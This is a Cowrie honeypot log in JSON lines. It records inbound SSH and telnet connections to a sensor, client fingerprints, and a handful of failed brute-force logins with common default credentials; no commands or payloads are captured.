{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:09:09.909200Z","src_ip":"185.48.213.208","session":"744c0e5adb87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:09:10.042851Z","src_ip":"185.48.213.208","session":"744c0e5adb87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wordpress","password":"test","message":"login attempt [wordpress/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:09:10.555087Z","src_ip":"185.48.213.208","session":"744c0e5adb87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:09:11.685703Z","src_ip":"185.48.213.208","session":"744c0e5adb87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":59525,"dst_ip":"10.17.0.5","dst_port":22,"session":"18a2b0729262","protocol":"ssh","message":"New connection: 109.91.4.177:59525 (10.17.0.5:22) [session: 18a2b0729262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:09:16.053465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:09:16.058382Z","src_ip":"109.91.4.177","session":"18a2b0729262","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:09:16.169925Z","src_ip":"109.91.4.177","session":"18a2b0729262","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arkserver","message":"login attempt [root/arkserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:09:17.075827Z","src_ip":"109.91.4.177","session":"18a2b0729262","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:09:18.189934Z","src_ip":"109.91.4.177","session":"18a2b0729262","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":51436,"dst_ip":"10.17.0.5","dst_port":23,"session":"9572572559c0","protocol":"telnet","message":"New connection: 5.196.58.99:51436 (10.17.0.5:23) [session: 9572572559c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:09:26.235994Z"}
{"eventid":"cowrie.session.closed","duration":31.1181697845459,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:09:57.354064Z","src_ip":"5.196.58.99","session":"9572572559c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":33614,"dst_ip":"10.17.0.5","dst_port":23,"session":"30e252a2d1ce","protocol":"telnet","message":"New connection: 5.196.58.99:33614 (10.17.0.5:23) [session: 30e252a2d1ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:08.267645Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":60018,"dst_ip":"10.17.0.5","dst_port":22,"session":"e823d6fc5ec0","protocol":"ssh","message":"New connection: 109.91.4.177:60018 (10.17.0.5:22) [session: e823d6fc5ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:08.984267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:08.989664Z","src_ip":"109.91.4.177","session":"e823d6fc5ec0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:09.103184Z","src_ip":"109.91.4.177","session":"e823d6fc5ec0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"toor","message":"login attempt [administrator/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:09.936164Z","src_ip":"109.91.4.177","session":"e823d6fc5ec0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:11.050398Z","src_ip":"109.91.4.177","session":"e823d6fc5ec0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":36576,"dst_ip":"10.17.0.5","dst_port":22,"session":"41aa0b28284d","protocol":"ssh","message":"New connection: 209.99.189.177:36576 (10.17.0.5:22) [session: 41aa0b28284d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:23.120288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:23.126226Z","src_ip":"209.99.189.177","session":"41aa0b28284d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:23.263369Z","src_ip":"209.99.189.177","session":"41aa0b28284d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test123","password":"test@123","message":"login attempt [test123/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:23.821189Z","src_ip":"209.99.189.177","session":"41aa0b28284d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:24.958115Z","src_ip":"209.99.189.177","session":"41aa0b28284d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":33404,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd95878b89d1","protocol":"telnet","message":"New connection: 5.196.58.99:33404 (10.17.0.5:23) [session: cd95878b89d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:25.516566Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":33412,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d955b6eda1a","protocol":"telnet","message":"New connection: 5.196.58.99:33412 (10.17.0.5:23) [session: 3d955b6eda1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:26.825593Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":33422,"dst_ip":"10.17.0.5","dst_port":23,"session":"b15d05898456","protocol":"telnet","message":"New connection: 5.196.58.99:33422 (10.17.0.5:23) [session: b15d05898456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:27.824349Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":33436,"dst_ip":"10.17.0.5","dst_port":23,"session":"590717a5e4e6","protocol":"telnet","message":"New connection: 5.196.58.99:33436 (10.17.0.5:23) [session: 590717a5e4e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:29.772749Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":57764,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c38422eec67","protocol":"telnet","message":"New connection: 174.138.46.234:57764 (159.203.135.109:23) [session: 1c38422eec67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:30.643809Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":58338,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cad43b41af8","protocol":"telnet","message":"New connection: 174.138.46.234:58338 (159.203.135.109:23) [session: 0cad43b41af8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:32.531077Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":58434,"dst_ip":"159.203.135.109","dst_port":23,"session":"e46a73198b8d","protocol":"telnet","message":"New connection: 174.138.46.234:58434 (159.203.135.109:23) [session: e46a73198b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:32.807004Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":33452,"dst_ip":"10.17.0.5","dst_port":23,"session":"91fad4c33b24","protocol":"telnet","message":"New connection: 5.196.58.99:33452 (10.17.0.5:23) [session: 91fad4c33b24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:33.135092Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":58570,"dst_ip":"159.203.135.109","dst_port":23,"session":"e20ab54599f8","protocol":"telnet","message":"New connection: 174.138.46.234:58570 (159.203.135.109:23) [session: e20ab54599f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:34.355338Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":47258,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ced7e6fed9d","protocol":"telnet","message":"New connection: 5.196.58.99:47258 (10.17.0.5:23) [session: 7ced7e6fed9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:36.538138Z"}
{"eventid":"cowrie.session.closed","duration":31.171399116516113,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:39.438928Z","src_ip":"5.196.58.99","session":"30e252a2d1ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.596534252166748,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:40.127475Z","src_ip":"174.138.46.234","session":"0cad43b41af8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.91885232925415,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:40.725715Z","src_ip":"174.138.46.234","session":"e46a73198b8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":47266,"dst_ip":"10.17.0.5","dst_port":23,"session":"e636f1a07a50","protocol":"telnet","message":"New connection: 5.196.58.99:47266 (10.17.0.5:23) [session: e636f1a07a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:40.920242Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":47270,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e21914c0be1","protocol":"telnet","message":"New connection: 5.196.58.99:47270 (10.17.0.5:23) [session: 6e21914c0be1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:42.320042Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":47272,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a6d3bf79cd5","protocol":"telnet","message":"New connection: 5.196.58.99:47272 (10.17.0.5:23) [session: 3a6d3bf79cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:43.003267Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":47276,"dst_ip":"10.17.0.5","dst_port":23,"session":"b86f2965d557","protocol":"telnet","message":"New connection: 5.196.58.99:47276 (10.17.0.5:23) [session: b86f2965d557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:43.254233Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58964,"dst_ip":"10.17.0.5","dst_port":23,"session":"e212841f5d52","protocol":"telnet","message":"New connection: 5.196.58.99:58964 (10.17.0.5:23) [session: e212841f5d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:44.089502Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58974,"dst_ip":"10.17.0.5","dst_port":23,"session":"86dad8502dfc","protocol":"telnet","message":"New connection: 5.196.58.99:58974 (10.17.0.5:23) [session: 86dad8502dfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:48.010668Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":32858,"dst_ip":"10.17.0.5","dst_port":22,"session":"27007c9b4b82","protocol":"ssh","message":"New connection: 103.248.120.6:32858 (10.17.0.5:22) [session: 27007c9b4b82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:48.940948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:48.946284Z","src_ip":"103.248.120.6","session":"27007c9b4b82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:49.163359Z","src_ip":"103.248.120.6","session":"27007c9b4b82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver1","message":"login attempt [mcserver/mcserver1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:50.061580Z","src_ip":"103.248.120.6","session":"27007c9b4b82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:51.281356Z","src_ip":"103.248.120.6","session":"27007c9b4b82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":28040,"dst_ip":"10.17.0.5","dst_port":22,"session":"766edd5fb290","protocol":"ssh","message":"New connection: 185.48.213.208:28040 (10.17.0.5:22) [session: 766edd5fb290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:53.983082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:53.992136Z","src_ip":"185.48.213.208","session":"766edd5fb290","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:54.110628Z","src_ip":"185.48.213.208","session":"766edd5fb290","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"1234","message":"login attempt [sftpuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:54.618227Z","src_ip":"185.48.213.208","session":"766edd5fb290","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36462,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bab26fb02f2","protocol":"telnet","message":"New connection: 5.196.58.99:36462 (10.17.0.5:23) [session: 0bab26fb02f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:55.483668Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:55.740294Z","src_ip":"185.48.213.208","session":"766edd5fb290","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.00678277015686,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:56.523234Z","src_ip":"5.196.58.99","session":"cd95878b89d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.281794548034668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:57.107269Z","src_ip":"5.196.58.99","session":"3d955b6eda1a","protocol":"telnet"}
